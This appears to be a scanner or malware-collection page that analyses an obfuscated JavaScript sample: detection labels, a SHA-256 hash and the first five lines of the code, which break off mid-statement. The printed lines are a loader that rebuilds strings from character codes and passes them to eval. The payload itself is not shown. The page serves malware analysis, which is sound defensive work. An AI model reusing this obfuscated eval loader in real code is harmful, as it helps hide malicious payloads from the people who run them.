Suspicious ^80% javascript-malware-collection Download

20151208_1b9727bc50ae3fc4ea81c7bd442b0739.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2566b78920032d1f66c7f313c71730ee31eb8da37fa8c15698a7e89b8ce605c572a

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var YwaSsHdHNNZHZ=[];for(hpBsRSg=(-495+495)/368;hpBsRSg<(122673+975)/966;hpBsRSg++){YwaSsHdHNNZHZ[hpBsRSg]=String.fromCharCode(hpBsRSg)}function npcHf(InsHAzICVbS,nPsujjuzRxPtD,fRufRSDo){bqlX=parseInt(InsHAzICVbS,nPsujjuzRxPtD);ZFsrA=bqlX.toString(fRufRSDo);return ZFsrA;}function CPlUzheWBEqnTxU(vKbOpGMZrbissiDGD){eval(vKbOpGMZrbissiDGD)}
2function xkTxkqJaDpGPcSdRmPrvJVsuKoBwnwCBpfhpbLICsZLaVddCoHilhg(rrPQoGNzbqHoD,paIblGmMCEadtq){ return YwaSsHdHNNZHZ[npcHf(rrPQoGNzbqHoD[paIblGmMCEadtq],(-300+810)/51,(1095+665)/176)];}
3function qKUaQMp(vGcEnCaKyJngMdMLjvFmAsAGkNrhRkqtHHqE) {return !isNaN(parseFloat(vGcEnCaKyJngMdMLjvFmAsAGkNrhRkqtHHqE)) && isFinite(vGcEnCaKyJngMdMLjvFmAsAGkNrhRkqtHHqE);}
4function GWDEiBWpaal(wERmnhXg,sXYxOs){return wERmnhXg.split(sXYxOs)}
5var d=[];d.push("13");d.push("10");d.push("13");d.push("10");d.push("118");d.push("97");d.push("114");d.push("32");d. …